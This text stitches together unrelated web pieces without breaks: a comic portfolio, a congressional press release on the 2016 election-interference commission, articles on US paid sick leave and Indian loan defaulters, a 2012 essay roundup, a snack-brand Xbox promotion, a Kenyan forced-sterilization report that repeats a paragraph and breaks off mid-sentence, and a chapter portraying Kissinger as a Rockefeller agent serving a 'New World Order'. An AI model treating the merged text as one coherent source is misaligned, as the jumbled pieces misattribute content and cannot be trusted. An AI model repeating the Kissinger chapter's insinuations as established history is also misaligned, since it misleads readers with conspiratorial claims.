"5:30 am" * - Fold-out poster-comic rendered lovingly in Bezier curves, with a story based loosely on a morning of donuts and bowling I had once. I don't, however, have a robotic hand.
Read it!
"The Angel & Escapist" - Unpublishable 32 page comic made of acrylic paintings and linoleum cuts, telling the story of the '62 championship fight between Floyd Patterson and Sonny Liston. Based mostly on David Remnick's great Ali book King of the World.
A Bunch of the Pages
1984 - 1986 - Louisville, KY USA
"SpaceKnights of Tiskor" and "Secret Society of Robot Forces" - assorted materials related to two teams of superbeings, including ninjas, aquatic robots, and shadowy villains that take on attributes of natural disasters. Drawn 1984 - 1986 while laying on the floor at my Dad's office down at AT&T.
The Battle Begins • Origin of the S.S.R.F. • Character DossiersWASHINGTON, DC—Today, Rep. Eric Swalwell (CA-15), the Ranking Member of the CIA Subcommittee of the House Permanent Select Committee on Intelligence, and Rep. Elijah Cummings (MD-07), the Ranking Member of the House Committee on Oversight and Government Reform, introduced the Protecting Our Democracy Act to establish the National Commission on Foreign Interference in the 2016 Election.
The bill would create a 12-member, bipartisan, independent commission empowered to interview witnesses, obtain documents, issue subpoenas, and receive public testimony to examine attempts by the Russian government and others to use electronic means to influence, interfere with, or sow distrust in this year’s U.S. elections. The commission — which would examine similar efforts by any other foreign governments or entities — would issue a final report with recommendations for future security protections to Congress and the President within 18 months of the bill’s enactment.
“This past election, the principles of our democracy were attacked. We owe it to our constituents to defend the integrity of our representative democracy, starting with finding out what exactly happened and how we prevent it from ever happening again,” said Ranking Member Swalwell. “While our intelligence agencies have concluded with high confidence that Russia meddled in America’s elections, to what degree and whether other state or non-state actors were involved remains unresolved. Americans of all political parties are rightfully worried and deserve answers. To protect our democracy, we are calling for a fact-based, independent, bipartisan-appointed commission on foreign interference in the 2016 election.”
“Regardless of whether you voted for Donald Trump, Hillary Clinton, or anyone else, Russia’s attacks on our election are an attempt to degrade our democracy and should chill every American—Democratic, Republican, or Independent—to the core,” said Ranking Member Cummings. “This commission will conduct a truly bipartisan and comprehensive review of these attacks and offer specific recommendations to prevent future attacks on our electoral process.”
The scope of the commission’s investigation would include computer hacking activity that targeted the Democratic National Committee, the Democratic Congressional Campaign Committee, Hillary Clinton’s presidential campaign chairman John Podesta, and former Secretary of State Colin Powell; the scanning of electoral systems in Arizona, Illinois and Florida; and efforts by any foreign entity to produce, disseminate, or promote fake news involving the U.S. election.
The 12 members of the commission would be appointed within 90 days of enactment by the Speaker of the House (3), Senate Majority Leader (3), House Minority Leader (3), and Senate Minority Leader (3), and the commission would choose a chair and vice chair of different parties. No federal officers or employees would be eligible to serve on the commission. Appointees would be prominent U.S. citizens with national recognition and significant depth of experience in governmental service, law enforcement, armed services, law, public administration, intelligence gathering, foreign affairs, cybersecurity, and federal elections.
Click here to read the text of the bill.Digg
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Facebook Natalie Ferrell-Albright was a bank teller when her daughter had a severe asthma attack. When she called work to say her daughter had to go to the hospital, the Cincinnati woman was told her sick days applied only to her, not her children. The single mom did what she had to do and took her daughter to the hospital, but the incident still rankles her five years later. "I know too many people who are forced to choose between their health or their family and a paycheck," says Ferrell-Albright, 53, who has since left her bank job. Ferrell-Albright is on one side of an emerging debate as an effort to make paid sick leave a right for every worker gains ground in state legislatures and Congress. Proposals have been introduced in Ohio and at least 12 other states, and work is underway to put the issue on the ballot in several states next November. Congress has started holding hearings on the issue. Democratic presidential front-runners Hillary Rodham Clinton and Barack Obama have spoken out in favor of the idea. On the other side of the issue is Mike Kovach, 52, of Youngstown, Ohio, who has built a successful 80-employee business repairing heavy industrial equipment in a shrinking regional economy. He wasn't happy when he heard about a proposed state law that would force him to provide paid sick leave to his workers. For every $1 spent on wages, he already pays another 43 cents for vacation, health care and other benefits. "Customers are squeezing us for more productivity," says Kovach, who founded City Machine Technologies in 1985. "We're investing in technology to stay competitive. Our prices are going down. There are only so many dollars here." Currently, 43% of the nation's private workforce — about 50 million employees — don't get paid when they call in sick, the Bureau of Labor Statistics says. "This issue is gaining momentum because paid sick leave seems as American as apple pie and baseball," says Debra Ness, president of the National Partnership for Women & Families, a group that promotes added benefits for workers. No state has passed a mandatory sick leave law yet. Business groups worry that the idea will become a new hot-button issue — like raising the minimum wage — that has popular appeal but hidden costs. "It has great emotional appeal," says Karen Kerrigan, president of the Small Business and Entrepreneurship Council. "There is a movement getting behind this, and we think it's going to pass in certain states." Legislatures weighing paid sick leave include Connecticut, Florida, Maine, Maryland, Massachusetts, Minnesota, Missouri, Montana, North Carolina, Ohio, Pennsylvania, Vermont and Virginia, Ness' group says. So far, early support for mandatory paid sick leave laws has come in liberal jurisdictions. Last November, San Francisco voters approved the nation's first mandatory paid sick leave law. The law — providing about eight paid sick days a year for full-time workers — took effect in February. The Washington, D.C., city council is considering a similar law. Massachusetts legislators held a hearing on a proposal last week. Connecticut's state Senate approved paid sick leave in May, but the measure died in the House. "We have a great chance next year because it's an election year," says state Sen. Edith Prague, a Democrat. Business groups say mandatory paid sick leave could force cuts in other benefits such as health care or vacation. "Paid sick leave isn't free," says Ty Pine, legislative director of the National Federation of Independent Business in Ohio. "Show me where the law guarantees the business owner extra revenue to cover the costs." The proposed laws generally require five to seven sick days annually for full-time workers at firms that employ 25 or more people. "Paid sick leave would actually save business money, not cost them money," says Dale Butland of the Coalition for Healthy Families, a group of labor and other organizations gathering signatures to put the issue on the Ohio ballot. He says paid sick leave would reduce the spread of illness caused by workers who can't afford to miss a paycheck. "If every other industrialized country can do it and remain competitive, there's no reason America can't," he says. Workers who don't have paid sick leave often work part time or at restaurants, retail stores and construction sites. At Kovach's Youngstown firm, sick leave would make it hard to quickly repair equipment in factories, he says. "We need people on a moment's notice, 24 hours a day, seven days a week," he says. "If you offer paid sick leave, people are going to take it." His company offers vacation — one week after a year, then an additional day for every year at the company — and handles health problems on a case-by-case basis. "It doesn't sound like much to add sick leave, but, in reality, it means paying overtime and double time to other workers," he says. Share this story: Digg del.icio.us Newsvine Reddit Facebook Natalie Ferrell-Albright, 53, says she looks forward to this election where a ballot issue will be a law requiring companies of a certain size to offer sick leave for family members. "I know too many people who are forced to choose between their health or their family and a paycheck," she says.
By Thomas E. Witte for USA TODAY Conversation guidelines: USA TODAY welcomes your thoughts, stories and information related to this article. Please stay on topic and be respectful of others. Keep the conversation appropriate for interested readers across the map.Each week here at The Verge, we round up some of the best writing around the web, highlighting the stories, profiles, interviews, and in-depth reporting that rise above the daily churn. And, like last year, we’re taking a look back at the entire year's best non-fiction writing on technology, art, science, and culture. We've narrowed it down (ha!) to 25 essential reads from Gawker, London Review of Books, The New Yorker, The New Inquiry, and many more.
The Stranger: Cienna Madrid - The lying disease
But Alex swears that she didn’t start blogging in November 2010 with the intention of lying about cancer, AIDS, and rape, or manipulating her friends into changing her adult diapers (yes, that happened). The deception began with an opaque post here and there. "Oh I’m sick again" posts, as Alex calls them. "No one paid attention until I started full-time illness blogging." So in April 2011, she ordered two wheelchairs, oxygen tanks, face masks, some veterinary IV tubing, and other medical equipment from Amazon.com. She also cut her hair off and told her IRL best friend that she had non-Hodgkin’s lymphoma. She reasoned that this would help validate her story.
The New Inquiry: Nathan Jurgenson - IRL Fetish
But this idea that we are trading the offline for the online, though it dominates how we think of the digital and the physical, is myopic. It fails to capture the plain fact that our lived reality is the result of the constant interpenetration of the online and offline. That is, we live in an augmented reality that exists at the intersection of materiality and information, physicality and digitality, bodies and technology, atoms and bits, the off and the online. It is wrong to say "IRL" to mean offline: Facebook is real life.
Popular Science: Dan Baum - No Pulse: How Doctors Reinvented The Human Heart
To understand why they still haven’t succeeded, pick up a two-pound barbell and start curling it. Two pounds: nothing. But see how long you can keep it up. Twenty minutes? An hour? Two? Your heart does that all day and all night—35 million beats a year—for as long as you live, without ever taking a rest. Manufacturing a metal and plastic heart capable of beating that way for more than about 18 months has so far proved impossible.
Playboy: Carl Zimmer - King of the Cosmos (A Profile of Neil deGrasse Tyson)
When you add up the missing gravity or the missing cause of the gravity to this mysterious dark energy, it is ninety six percent of the universe." "That’s a lot," Henry says. "Everything we know and love—electrons, protons, neutrons, light, black holes, planets, stars, everything we know and understand—occupies four percent of the universe. Dark matter and dark energy is everything else. So we’re just dumb—stupid about what’s driving this cosmos
Gizmodo: Mat Honan - How Yahoo killed Flickr and lost the internet
It was a stunning failure in vision, and more or less the same thing happened at Flickr. All Yahoo cared about was the database its users had built and tagged. It didn’t care about the community that had created it or (more importantly) continuing to grow that community by introducing new features.
The New Inquiry: Matt Pearce - Shoot hip or die
Actually, it’s a coup; you no longer need high-altitude software like Photoshop like I did, no longer need expensive hardware to crash photography’s beauty party. This is the final stage of a revolution, the democratization of what used to be professional photography, and its hippest, most boring propagandists use Hipstamatic and Instagram. Never before have we so rampantly exercised the ability to capture the way the world really looks and then so gorgeously disfigured it.
Gawker: Adrian Chen - Unmasking Reddit’s Violentacrez, The Biggest Troll on the Web
Last Wednesday afternoon I called Michael Brutsch. He was at the office of the Texas financial services company where he works as a programmer and he was having a bad day. I had just told him, on Gchat, that I had uncovered his identity as the notorious internet troll Violentacrez (pronounced Violent-Acres). “It’s amazing how much you can sweat in a 60 degree office,” he said with a nervous laugh.
The Awl: Bethlehem Shoals - The Condition: Chronic Self-Disclosure
Instead of the internet working against our real lives in provocative ways, it became an extension of them. The looking glass was now a mirror; instead of reinventing us, the web simply provided more of us to the world, and more ways to take advantage of the world around us. We speak of Yelping and checking in on 4Square as if these were activities, when they are simply the day-to-day cataloguing of our lives—or, even worse, a grimly detached version of modern life in which we aspire to be ourselves. Mediation presents itself as a friendly tool when in fact it creates distance between us and the ordinary.
The Atlantic: Alexis Madrigal - How Google Builds Its Maps—and What It Means for the Future of Everything
It’s common when we discuss the future of maps to reference the Borgesian dream of a 1:1 map of the entire world. It seems like a ridiculous notion that we would need a complete representation of the world when we already have the world itself. But to take scholar Nathan Jurgenson’s conception of augmented reality seriously, we would have to believe that every physical space is, in his words, “interpenetrated” with information. All physical spaces already are also informational spaces. We humans all hold a Borgesian map in our heads of the places we know and we use it to navigate and compute physical space. Google’s strategy is to bring all our mental maps together and process them into accessible, useful forms.
The Believer - Meghan Daum - Haterade
This is by now an old gripe in journalism circles, many members of which will point out that the last word on the matter could well have been said three years ago when the Onion published its fake news story "Local Idiot to Post Comment on Internet." But if three years ago the phenomenon felt like a wave that was about to crest and then surely dissipate into a vague memory of some fleeting, anarchic period in the history of the internet ("Remember back in 2008 when only idiots posted comments?" we imagined ourselves chortling one day), it feels today like the disease-ridden aftermath of a flood. Ugly commentary doesn’t just litter the internet, it infects it.
London Review of Books: Emily Witt - Diary
Like most people I had started internet dating out of loneliness. I soon discovered, as most do, that it can only speed up the rate and increase the number of encounters with other single people, where each encounter is still a chance encounter. Internet dating destroyed my sense of myself as someone I both know and understand and can also put into words. It had a similarly harmful effect on my sense that other people can accurately know and describe themselves. It left me irritated with the whole field of psychology.
Buzzfeed: Maria Bustillos - How VCs Turned My Startup Into A Nightmare
Quite commonly VCs will fund a startup and then they will commence to spend the money themselves at a furious rate. That way you will need more and more, and be forever beholden as your equity melts down to nothing. Very few startups have made it through that gauntlet unscathed. In an ideal startup, every bit of equity would stay in ironclad hands. (Even Craig Newmark, by far one of the smartest and best Internet entrepreneurs in history, ran into trouble when a partner insisted on selling out his stake to the dreaded eBay, resulting in a poisonous relationship that is still being litigated to this day.)
domus: Dan Hill - In praise of lost time
Ironically, we may get little sense of perspective when presented with an endless Timeline of memories. Without forgetting, we are compelled to live in the past, to feel the weight of memories obscuring our ability to live in the present, to act. (This is almost a rear-view mirror of British philosopher John Grey’s critique of our obsession with the future. Perhaps both are “failing to cherish the present — the only time that is truly our own.”)
The New Yorker: Raffi Khatchadourian - Operation Delirium
To demonstrate the effects of VX, he was known to dip his finger in a beaker containing the lethal agent, then rub it on the back of a shaved rabbit; as the animal convulsed and died, he would casually walk across the room and bathe his finger in a Martini to wash off the VX.
Wired: Jerry Adler - Raging Bulls: How Wall Street Got Addicted to Light-Speed Trading
Human beings who make investment decisions based on their assessment of the economy and on the prospects for individual companies are retreating. Computers—acting on computer-generated market trend data and even newsfeeds, communicating only with one another—have taken up the slack. Conventional economics views all this as an unalloyed good: It is axiomatic that all trades are a net benefit to the economy because they enhance "liquidity," the ability of investors to buy or sell assets at the best price. Indeed, in 2007 the SEC instituted an ambitious new rule, the national market system, that opened the door to dozens of new venues for stock trading, but now that transaction times are measured in microseconds and prices are carried out to six decimal places, those opportunities have arguably gone past a point of diminishing returns.
Hipster Runoff: Carles - How Indie Finally OFFICIALLY Died: The Broken Indie Machine.
It is hard for me to ‘get legitimately excited’ about new bands because they aren’t really allowed to play by their own rules. They have to play by the rules of the large content farms, as dictated by a publicist who will ‘get them on’ a series of websites that allegedly craft their identity. Sure, some bands tour hard, winning over fans, and that will always probably be more important than ‘the internet.’ But the blogosphere used to be a place that could help artists, now it just boringly boxes them up in a content-farmmy way that might be more detrimental than the ‘old, boring magazines’ that we used to complain about.
The New York Times: Tim Kreider- The ‘Busy’ Trap
Busyness serves as a kind of existential reassurance, a hedge against emptiness; obviously your life cannot possibly be silly or trivial or meaningless if you are so busy, completely booked, in demand every hour of the day. I once knew a woman who interned at a magazine where she wasn’t allowed to take lunch hours out, lest she be urgently needed for some reason. This was an entertainment magazine whose raison d’être was obviated when "menu" buttons appeared on remotes, so it’s hard to see this pretense of indispensability as anything other than a form of institutional self-delusion.
Entertainment Weekly: Film Crit Hulk - RIAN JOHNSON OPENS THE LOOP
BUT ON THE OTHER SIDE OF THE EQUATION THERE ARE HIGH-CONCEPT FILMS THAT EXIST AS A PALE SHADOWS OF THE REAL INNOVATION. STUDIO PEOPLE ARE SO DESPERATE TO JUSTIFY THE PROJECTS THEY CHOOSE THAT THEY ARE WILLING TO SINK TO THE LOWEST COMMON DENOMINATOR OF BRAND-RECOGNITION. THEY THEN “INNOVATE” BY BACKWARDLY-PRODUCING A “NEW, CLEVER IDEA” FROM THOSE EXISTING CONSTRUCTS. SNOW WHITE AS A BIG ACTION FILM STARRING KNOWN-VALUE KRISTEN STEWART? SURE THING!
CJR: Michael Shapiro - Six degrees of aggregation: How The Huffington Post ate the Internet
The ethos of the HuffPost newsroom was winning the Google search. "That," says a former employee, "was the thrill." Not the origination of the content, but the dissemination. Huffington Post, they understood, was not an enterprise whose core purpose was the creation of works of journalism—as significant or mundane as that can be. It was in the content business, which created all sorts of possibilities of what it could gather and, with a new headline and assorted tags, send back out, HuffPost’s logo affixed.
The Nation: Tim Wasserman - The Amazon Effect
How the Digital Age might alter attention spans and perhaps even how we tell one another stories is a subject of considerable angst. The history of writing, however, gives us every reason to be confident that new forms of literary excellence will emerge, every bit as rigorous, pleasurable and enduring as the vaunted forms of yesteryear. Perhaps the discipline of tapping 140 characters on Twitter will one day give rise to a form as admirable and elegant as haiku was in its day. Perhaps the interactive features of graphic display and video interpolation, hyperlinks and the simultaneous display of multiple panels made possible by the World Wide Web will prompt new and compelling ways of telling one another the stories our species seems biologically programmed to tell. Perhaps all this will add to the rich storehouse of an evolving literature whose contours we have only begun to glimpse, much less to imagine.
New York: Benjamin Wallace - Those Fabulous Confabs
Until recently, the universal self-actualizing creative ambition was to write a novel. Everyone has a novel in them, it was said. Now the fantasy has changed: Everyone has a TED Talk in them. There are people on YouTube who upload webcammed soliloquies about whatever and title them things like "My TED Talk." There’s now even a genre of meta–TED Talks.
The New Republic: Evgeny Morozov - Form and Fortune
Likewise, a conventional technology company might be reluctant to launch a tablet computer that would compete with its own profitable line of laptops and desktops. But Apple defied such conventions. It has consistently been taking risks—internecine risks, competing against itself. Not only does it introduce products that vie with each other, but it is not afraid to say so: one of the first ads for the iPhone noted that "there has never been an iPod that can do this."Apple’s reasoning seemed to be that, while sales cannibalization may eat into short-term profits, it is not the worst thing that can happen to a great company. Whatever it may lose in sales, the company would gain in innovation—that is, its designers and engineers would never get a chance to slack off—and in branding: that is, new products(released with impeccable regularity) would guarantee regular press coverage and produce an even stronger association of its brand with progress and innovation.
The Baffler: Alex Pareene - Come On, Feel the Buzz
In debuting a minute-by-minute chronicle of the permanent campaign by, for, and about terminal Hill insiders, VandeHei and Harris went all in on the enabling fiction that the seamiest features of human nature—which would find full expression in Politico’s quest to discredit rivals, to distort simple political aims and ideas with drive-by caricatures, and to float personality-based digital memes across the gossip-driven agoras of social media—were themselves somehow news, and therefore newsworthy.
Pitchfork: Simon Reynolds - Resident Visitor: Laurie Spiegel’s Machine Music
“In a low information lifestyle, the ratio between incoming stuff and time spent processing inputs was completely different to how it is today. When I was a kid, I didn’t watch much TV. For a long while, until I saved up and bought myself a transistor, I didn’t have control of a radio. So I spent a lot of time thinking. Now we get very little time to synthesize and process relative to the amount of information coming in to us. That’s a major cognitive change in terms of how people experience life.”
Modern Luxury: David Talbot - How Much Tech Can One City Take?
In light of this, the time has come for a serious reckoning—for Mayor Lee, for the tech cognoscenti, and for the rest of the populace. In short, do we wish to be a city of enlightenment, or a city of apps? Many of those who have lived in San Francisco the longest and care for it the most are worried that their charmed oasis is becoming a dangerously one-dimensional company town—a techie’s Los Angeles, a VC’s D.C. If San Francisco is swallowed whole by the digital elite, many city lovers fear, the once-lush urban landscape will become as flat as a computer screen.
And if you prefer, grab all these pieces in a Readlist.Two powerhouse beverage and snack brands with a deep history in gaming, Mountain Dew and Doritos, are joining forces with Xbox this Fall to launch the Every 60 Seconds promotion, featuring an online auction that will give fans the opportunity to win one of thousands of Xbox One X consoles.
Here’s how it will work:
Collect: Anyone who purchases specially marked Mountain Dew and Doritos products can collect codes necessary to bid
Anyone who purchases specially marked Mountain Dew and Doritos products can collect codes necessary to bid Bank Codes : Starting September 25, participants can enter codes at Every60Seconds.com to start banking points. And starting October 23, each code gives you one entry into a sweepstakes to try to win an Xbox One X
: Starting September 25, participants can enter codes at Every60Seconds.com to start banking points. And starting October 23, each code gives you one entry into a sweepstakes to try to win an Xbox One X Bid to Win: From November 8 to December 15, participants can use banked points to bid for a chance to win an Xbox One X and other prizes. Auctions begin at 6 a.m. PT each morning and close nightly between 6:01 p.m. – 8:30 p.m. PT.
The on-package codes for the auctions will be available on favorite Doritos snacks and Mountain Dew products, including Game Fuel Arctic Burst and Tropical Smash. Look for the product and packaging featuring upcoming Xbox One X games like Middle-earth: Shadow of War and Forza Motorsport 7.
Mountain Dew and Doritos will offer consumers even more chances to win an Xbox One X later this year, with more details set to be released in the coming weeks. Join the conversation on Twitter at @MountainDew or @Doritos using #Every60Seconds and keep it tuned to Xbox Wire for all of the latest news on Xbox One X coming November 7, 2017.I met Ruth and Priscka at Women Fighting Aids (WOFAK) in Kenya, one of the country’s first HIV advocacy organizations. Their Nairobi offices are in a modest, two-story building under the shadow of an imposing Baptist church next door. There could hardly be so odd a pair: Priscka was a tiny, bony figure who walked with a pronounced limp, her small frame jarred by each step she took. Ruth was a tall, curvaceous woman with an impressive mound of braided hair, who waltzed through WOFAK’s door, high-fiving staff members as she passed. Friendships are usually born of common circumstance. For Ruth and Priscka, it was one born from misfortune.
When Pricksa woke up from her surgery, she had a lot of pain in her stomach, below the scar from her C-section. So she flagged down a doctor and demanded an explanation. “Didn’t you know?” she remembers a passing doctor responding casually. “You’ve had tubal ligation.”
“Doc told me I was HIV-positive, and no reason to get more children,” Ruth told me. Ruth had been a fruit vendor, but she was fired when her boss found out she was HIV-positive. Ruth had dreamed of having five children, but the miscarriage of her third child changed that. She was hospitalized after the miscarriage, and her doctors told her she needed surgery. She assumed it was meant to treat the trauma she had just suffered. “I didn’t know anything,” Ruth said, “They didn’t tell me anything.” When she woke up, she had been sterilized, her fallopian tubes seared shut.
Like Ruth, Priscka experienced pregnancy complications with her third child; she was taken to the hospital in agony by her mother and rushed to an operating room for an emergency C-section. Priscka had likely never heard of the United Nations Human Rights Committee, which calls forced sterilization a form of torture, and was probably not aware that forced sterilization is also considered a crime against humanity under the Rome Statute.
But when she woke up from her surgery, she knew something was wrong. She had a lot of pain in her stomach below the scar from her C-section. So she flagged down a doctor and demanded an explanation.
“Didn’t you know?” she remembers a passing doctor responding casually. “You’ve had tubal ligation.”
Priscka did not know. She had never even heard of tubal ligation until that moment. She was disabled and unemployed, and lived in one of Africa’s largest slums. Because she spoke only broken English, she asked for a translation into Swahili. The word she was given was kufunga, closing. Having children could only “bring problems to her community,” she recalls her doctor saying, because she was infected with HIV.
There is a Swahili word for women who cannot be mothers: ukebe. It means “empty can.” And when the men in Priscka and Ruth’s lives realized they had “empty cans” for partners, they did what one does with useless articles.
They threw them away.
Priscka and Ruth live in a society which ties a woman’s value to her ability to give birth, a society where children are not only cherished as blessings from God but are also a form of social security: they can help around the house or the family business and take care of their parents when they grow old. For women |
it was even reported that Kissinger, who never had a good word to say about Richard Nixon prior to his appointment by him, wept openly when Nelson Rockefeller lost his 1968 bid to garner the Republican nomination for President.
According to an account by United Press International, Kissinger was "reluctant" to accept Nixon's "surprise offer" of a presidential appointment. Rockefeller, K's employer for ten years, made up his mind for him, according to UPI, when he told Henry that if he did not accept it, "never talk to me again".
Later, during a party celebrating Henry Kissinger's fiftieth birthday, Rocky toasted his longtime employee, saying that he'd been associated with him in three Presidential campaigns and "We succeeded in the third. Henry went to the White House".
Henry's sadness at leaving the direct employment of Rockefeller -- a position that had seen his salary jump from $500 a month in July 1958 to a much more comfortable $4,000 a month a mere ten years later -- was no doubt partially assuaged by Nelson's parting token of appreciation: a check for $50,000.
Rockefeller later explained that he wanted to do something to help out a "poor guy faced with tremendous obligations". Of course, if any other billionaire businessman did it, we would call it bribery. with Rockefeller, it's simply a nice gesture.
Keep in mind that the Rockefellers own properties and do business in some 125 separate nations, including the Soviet Union and Red china. Every decision Kissinger would make in Washington was a potential conflict of interest involving his sponsor and benefactor, Rockefeller. Yet, even in the wake of Watergate, when the "gift" was revealed at Rocky's Vice Presidential confirmation hearings, the story caused no more splash than a leaf falling from a tree. The TV anchormen did not even mention it.
In tracing Henry's meteoric rise from obscurity to international acclaim, we see that his magic slippers had the Rockefeller label. From Henry's membership in the Rockefeller's CFR while a professor at Harvard, to his association with a host of Rockefeller-connected activities, to his appointments in Washington, even to his second marriage, the Rockefeller power, prestige, and influence were paving the way for him.
(Nancy Maginnes, Henry's new wife, was -- and remains -- a Rockefeller employee. The relationship is such a family affair that Nelson even supplied the jet that whisked the couple to their honeymoon retreat, and threw a lavish party for them when they returned to Washington.)
This, then, was the background of Richard Nixon's most important appointment. The man selected as chief adviser to the President was a trusted spokesman for the Council on Foreign Relations. In fact, Henry the K was nothing less than an outright Rockefeller agent ready to carry the family's "Grand Design" into the White House.
Kissinger promptly began to centralize his power and to promote his Grand Design. Or, as he and the Rockefellers now call it, the "New World Order". It came as no surprise to Kissinger-watchers when President Nixon reorganized U.S. intelligence operations in 1971 and Kissinger emerged at the pinnacle of power.
Henry had put together the largest team ever to serve the national security adviser. Many of his key aides and assistants were holdovers from the Kennedy-Johnson Administration.
At the 1971 shake-up, Nixon created a special committee to which the CIA director, the Attorney General, the Under-Secretary of State, the Deputy Secretary of Defense, and the Chairman of the Joint Chiefs of Staff would henceforth report. Chairman of the strategic committee was -- surprise! -- Henry the K.
As the Los Angeles Times reported, "efficiency" was not the real reason for the move. The White House was said to be "unhappy" because certain military bureaus -- particularly the Defense Intelligence Agency -- were too "hard-line" in their interpretations of Communist plans, whereas CIA Director Richard Helms, a long-time Kissinger chum, and Kissinger himself could be counted on to take a more reasonable view.
In any case, by 1971 Henry had become, as the Times noted, virtually "all-powerful in the sprawling sector of the government which seeks to advise the President on national security matters". His dominance of the expanded, 110-member National Security Council was so complete that he controlled every piece of intelligence to reach the President from the State Department, the Defense, Department, and the Central Intelligence Agency.
Never before in the history of the United States had such colossal power been put into the hands of an unelected official. Despite the obvious dangers, the media were quieter than Charlie McCarthy when Edgar Bergen is away.
It became common knowledge that Kissinger spent more time with the President than any other White House staffer, and the President frequently dropped into his office, less than a half-minute away from his own. Long-time Washington reporter Clark Mollenhoff noted, "Officially, the 47-year-old former Harvard professor of government is the 'Assistant to the President for National Security Affairs' at a salary of $42,500 a year. But, in fact, he has become the Number Two Man in all matters dealing with the Defense and State Departments".
Numero Uno was of course the President himself, not the man confirmed by the Senate as Secretary of State. It was common knowledge on the Washington cocktail circuit that Kissinger had far more power than the actual Secretary of State, William P. Rogers.
It was in August 1973, during a dip in the presidential pool at Nixon's San Clemente home, that the President finally popped the question to the man who was already Secretary of State in all but name. "If you will let me, I would like to nominate you for Secretary of State tomorrow", Time claims was the Nixon approach.
We find it a little hard to believe Time's follow-up: "No matter how prepared Henry Kissinger may have been for that moment, it still stunned him."
By the time the question was put to him, the de facto Secretary of State was already known as the architect of East-West detente, the chief spokesman for appeasement and rapprochement, the man whose "ping-pong diplomacy" secured the opening to Red China, the statesman who would bring peace to Southeast Asia, the brilliant diplomat who would defuse the powder-keggy Middle East.
Kissinger -- Time magazine's Man of the Year -- stunned? About as stunned as Dean Martin upon being nominated to the Imbibers Hall of Fame.
The next day Kissinger greeted newsmen at the Western White House and demonstrated that modest was still not one of his hallmarks. Asked how he now preferred to be addressed, he replied: "Oh, I don't stand on protocol. If you will just call me Excellency, it will be okay".
Only two members of the Senate Foreign Relations Committee even bothered to sit through the two and one-half hours of hearings on the Kissinger nomination as the nation's first foreign-born Secretary of State. Perfunctory approval followed swiftly in the full Senate; the final vote was 78 ayes to 7 nays.
(Henry's strong guttural accent, after more than four decades in the United States, is itself an intriguing mystery. After all, Henry's wheeler-dealer businessman brother Walter speaks English with perfect diction. TV Guide reported on January 26, 1974 that "it is believed by some that Kissinger was kept off television for his first two years in the Administration because the White House feared that the German accent would be a poor image".)
Finally, Henry had it made. He was in the limelight now. He ran a vast empire, in name as well as in deed. He presided over 12,000 diplomats, code clerks, economic analysts, linguists, secretaries, and the like. His salary was a comfortable $60,000 per year. But, ahh, the perquisites, prestige, and power!
During his confirmation hearings, it was revealed that Kissinger headed the most immense intelligence-gathering and policy-determining apparatus in White House history. At the time of the confirmation, Kissinger was: a) head of the national Security Council, b) chairman of every important committee on the Council, c) the man to whom the CIA director reported, and d) chairman of the "Forty" Committee, the "covert operations" arm of the NSC. As Senator Stuart Symington observed to our hero:
"If you stay in two positions, head of State and also head of the National Security Council, you are going to be in a position where you are going to have unprecedented authority never granted to anybody but the President."
And that is just what Kissinger got -- with not a yelp from the fawning media.
The intelligence empire over which Kissinger reigned and reigns is far vaster than just the State Department. It includes some 16 major agencies, with 200,000 employees, a total annual budget in excess of $6 billion, and controls the most sophisticated gadgetry and computers on the planet.
And there is no doubt at all that Henry wanted every jot and tittle of delicious power and delectable authority he could get. The Washington Star of November 19, 1972 quotes Super K as saying:
"When one holds power in one's hand, and when one holds it formally for quite a long time, you get used to considering it as something you are entitled to have... What I am interested in is what you can do with power. You can make marvelous things with it, believe me".
Increasing concern over the amount of power Kissinger possessed, however, caused the Secretary of State to doff his other hat, that as director of the National Security Council, last year. But the fact that the NSC directorship passed to a long-time Kissinger protege, Lt. General Brent Scowcroft, makes the gesture virtually meaningless. Senator Henry M. Jackson, a persistent Kissinger needler, noted that, "Despite the appearances, Kissinger will retain full control of the National Security Council".
And even ultra-Liberal Adlai Stevenson II, the junior Senator from Illinois, observed that "the change is only symbolic".
Ford's swift guarantee of Kissinger's continuance in the White House could only mean one thing: the Grand Design remains in force. The players might change, but the game is the same.
As election year 1976 began, candidate Ford's speeches sounded like replays of 1968 and 1972 -- warmed-over servings of Nixon "conservatism". This was an indirect admission by The Powers That Be of the need to campaign on Middle American ideals, virtues, and traditions.
Or, to put it another way, the only way to con Americans out of their heritage is to promise the Old Time Values while delivering the New World Order.
Next: Chapter 3 Introduction Chapter 1 Chapter 2 Chapter 3 Chapter 4 Chapter 5 Chapter 6 Chapter 7 Chapter 8 Chapter 9 Chapter 10 Chapter 11 EpilogueNEW DELHI: The government has asked banks to launch an offensive against the country’s top 50 loan defaulters to change the perception that state-run lenders tend to be soft towards large borrowers while giving little leeway to retail borrowers and SMEs.
Top bankers told TOI that the issue was discussed by financial services secretary G S Sandhu last week with bank chiefs from several leading public sector players, including State Bank of India, Punjab National Bank and IDBI Bank."There is a perception, which may or may not be correct, that we don’t act decisively against corporate borrowers and the government is keen to dispel that notion,"said a bank chief, who attended the meeting in the finance ministry.Sources said the lenders have been asked to initiate all possible action against the top 50 defaulters to send a message that the companies cannot get away without clearing their dues to banks. On their part, bankers are learnt to have told the government that it is not often easy to recover the dues and they have to undergo a long process of litigation. "Every notice is challenged in courts and it is very tough. It is not as if we don’t want to recover the dues," said a banker, adding that often they come under pressure from the finance ministry to restructure loans before they turn no-performing assets.Apart from the change of guard at the Centre, the government is keen that banks recover their dues from defaulters as they are saddled with a pile of bad debt, putting their credit worthiness at risk. Global rating agencies have flagged rising level of sticky assets as one of the major concerns for the Indian economy.In recent years, several prominent corporate groups have found it difficult to repay their loans, including the flamboyant Vijay Mallya, whose now-grounded Kingfisher Airlines owes over Rs 7,000 crore, mostly to public sector banks. His lavish lifestyle, despite his company’s financial woes, has raised many eyebrows. Kolkata-based United Bank of India has already served a notice to treat Mallya and others linked to the airline as “wilful defaulters” which will choke loan flow to all group companies.The other prominent defaulters in recent years include Winsome Diamond, Zoom Developers and S Kumars Nationwide.The All India Bank Employees Union released a list of 406 loan defaulters, who together owed over Rs 70,000 crore and are facing legal action. Banks are grappling with non-performing assets of over Rs 2 lakh crore, while loans to several large projects have been restructured, which prevented them from turning bad debt.In recent weeks, the government has begun talks for initiating a series of measures to reduce the pile of debt, including a new law that will link the jail term to the size of the default, apart from enabling lenders to initiate criminal action.Similarly, the debt recovery tribunal set up is being reworked and discussions on a new asset management company have begun.Musings: Natural Gas Is So 2010; Now It's All About Liquids-rich Shale
